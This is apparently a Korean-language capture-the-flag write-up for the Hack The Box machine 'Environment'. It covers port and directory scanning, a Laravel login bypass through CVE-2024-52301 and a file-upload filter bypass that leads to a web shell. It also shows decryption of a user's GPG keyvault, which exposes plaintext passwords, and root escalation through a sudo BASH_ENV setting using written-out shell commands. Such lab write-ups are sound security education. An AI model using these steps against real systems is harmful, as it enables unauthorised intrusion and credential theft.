Box Info
| Name | Difficulty |
|---|---|
| Environment | Medium |
nmap
environment # nmap -sC -sV environment.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2025-08-28 16:40 KST
Nmap scan report for environment.htb (10.10.11.67)
Host is up (0.92s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c023395ef44e280cd3a960223f19264 (ECDSA)
|_ 256 1f3dc2195528a17759514810c44b74ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Save the Environment | environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelgobuster
environment # gobuster dir -w `fzf-wordlists` -u http://environment.htb -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://environment.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /opt/lists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/storage (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up (Status: 200) [Size: 2126]
/login (Status: 200) [Size: 2391]
/logout (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/upload (Status: 405) [Size: 244852]
/build (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing (Status: 405) [Size: 244854]
===============================================================
Finished
===============================================================nuclei
environment # nuclei -u http://environment.htb
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.10
projectdiscovery.io
[WRN] Found 1 templates with syntax error (use -validate flag for further examination)
[INF] Current nuclei version: v3.3.10 (outdated)
[INF] Current nuclei-templates version: v10.2.7 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 55
[INF] Templates loaded for current scan: 8292
[INF] Executing 8089 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 203 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1788 (Reduced 1677 Requests)
[INF] Using Interactsh Server: oast.me
[cookies-without-secure] [javascript] [info] environment.htb ["XSRF-TOKEN","laravel_session"]
[cookies-without-httponly] [javascript] [info] environment.htb ["XSRF-TOKEN"]
[missing-sri] [http] [info] http://environment.htb ["http://environment.htb/build/assets/styles-Bl2K3jyg.css"]
[waf-detect:alertlogic] [http] [info] http://environment.htb
[waf-detect:nginxgeneric] [http] [info] http://environment.htb
[ssh-server-enumeration] [javascript] [info] environment.htb:22 ["SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u5"]
[ssh-sha1-hmac-algo] [javascript] [info] environment.htb:22
[ssh-password-auth] [javascript] [info] environment.htb:22
[ssh-auth-methods] [javascript] [info] environment.htb:22 ["["publickey","password"]"]
[openssh-detect] [tcp] [info] environment.htb:22 ["SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u5"]
[robots-txt-endpoint] [http] [info] http://environment.htb/robots.txtlaravel로 개발된 걸 확인할 수 있습니다.
CVE‑2024‑52301
/login 페이지에서 로그인 요청을 proxy로 확인해보면 아래와 같습니다.

이 요청에서 이것저것 테스트를 해보다가 remember 값을 아래와 같이 이상하게 보내면 대시보드 페이지로 이동하는 현상을 찾았습니다.

아래 코드를 보면 keep_loggedin이 False가 아니고, 환경변수가 preprod 면 관리 대시보드로 리다이렉트를 시켜주는걸 확인했습니다.
if($keep_loggedin !== False) {
// TODO: Keep user logged in if he selects "Remember Me?"
}
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}그래서 환경변수를 조작하는걸 목표로 Laravel 11.30.0 버전 취약점들을 찾아봤습니다.
사진 클릭 시 링크 이동
위 사이트에서 쿼리스트링으로 환경변수를 조작할 수 있는 취약점인 CVE-2024-52301 을 찾았습니다.
아래 깃허브(사진 클릭 시 링크 이동)에서 POC example을 확인후 쿼리스트링으로 ?--env=preprod를 추가해서 대시보드 창으로 이동했습니다.

File Upload

해당 사이트에서 Profile 탭에 들어가보면 사진과 같이 사진 선택 후 업로드를 할 수 있는 기능이 있습니다.

웹쉘 업로드를 시도해봤는데 Invalid file detected 라는 문자열이 뜨면서 실패하길래, laravel의 파일 업로드 시 검증 방법에 대해 검색해본 후 아래와 같이 성공 요청 값을 찾았습니다.
- Content-Type 변경
- filename 변경
- 헤더 값 변경


www-data@environment:/home/hish$ ls
backup ss user.txt
www-data@environment:/home/hish$ cat user.txt
08----------------------------74Get Hish shell
/home/hish/backup/keyvault.gpg 경로에 gpg키가 있길래 복호화를 진행해서 hish 계정으로 로그인했습니다.
https://www.linuxbabe.com/security/gpg-encrypt-and-decrypt-message?utm_source=chatgpt.com 이 글을 참고해서 진행했습니다.
www-data@environment:/home/hish$ mkdir -p /tmp/gpghome
www-data@environment:/home/hish$ chmod 700 /tmp/gpghome
www-data@environment:/home/hish$ cp -a /home/hish/.gnupg/* /tmp/gpghome/
www-data@environment:/home/hish$ chmod 600 /tmp/gpghome/* || true
www-data@environment:/home/hish$ chmod 700 /tmp/gpghome/private-keys-v1.d
www-data@environment:/home/hish$ export GNUPGHOME=/tmp/gpghome
www-data@environment:/home/hish$ cd backup/
www-data@environment:/home/hish/backup$ gpg --output /tmp/keyvault.dec --decrypt /home/hish/backup/keyvault.gpg
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <[email protected]>"
www-data@environment:/home/hish/backup$ cat /tmp/keyvault.dec
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> m--------------!
FACEBOOK.COM -> summerSunnyB3ACH!!
root.txt
hish@environment:~$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
hish@environment:~$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10
echo -e "\n### Checking system-wide open ports ###"
ss -antlp
echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t
echo -e "\n### Checking system resource limits ###"
ulimit -a
echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10
echo -e "\n### Checking disk usage for all filesystems ###"
df -hsudo -l로 확인해보니 /usr/bin/systeminfo라는 파일이 실행가능하길래 확인해보니 쉘 스크립트였습니다.
중요한 부분은 바로 env_keep+="ENV BASH_ENV" 설정입니다.
이 옵션은 sudo 실행 시에도 특정 환경 변수를 초기화하지 않고 그대로 유지하겠다는 의미입니다.
따라서 env_keep+="ENV BASH_ENV"로 설정되어 있다면, 사용자가 미리 설정한 ENV와 BASH_ENV 값은 sudo로 실행되는 프로세스에도 그대로 전달됩니다.
- BASH_ENV: 비대화형 bash 실행 시 로드되는 초기화 스크립트 지정
- ENV: 대화형 sh 실행 시 로드되는 초기화 스크립트 지정
- 대화형/비대화형 차이: 직접 터미널에서 입력하는지, 아니면 스크립트 실행 같은 자동 동작인지의 차이
그래서 간단하게 쉘을 실행하는 실행파일을 만들고, BASH_ENV에 저장한 다음 sudo systeminfo 명령을 실행하여 root권한을 획득했습니다.
hish@environment:/tmp$ echo '/bin/bash -p' > /tmp/rootme
hish@environment:/tmp$ chmod +x /tmp/rootme
hish@environment:/tmp$ export BASH_ENV=/tmp/rootme
hish@environment:/tmp$ sudo systeminfo
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
root@environment:/tmp# cd
root@environment:~# cat root.txt
52............................54
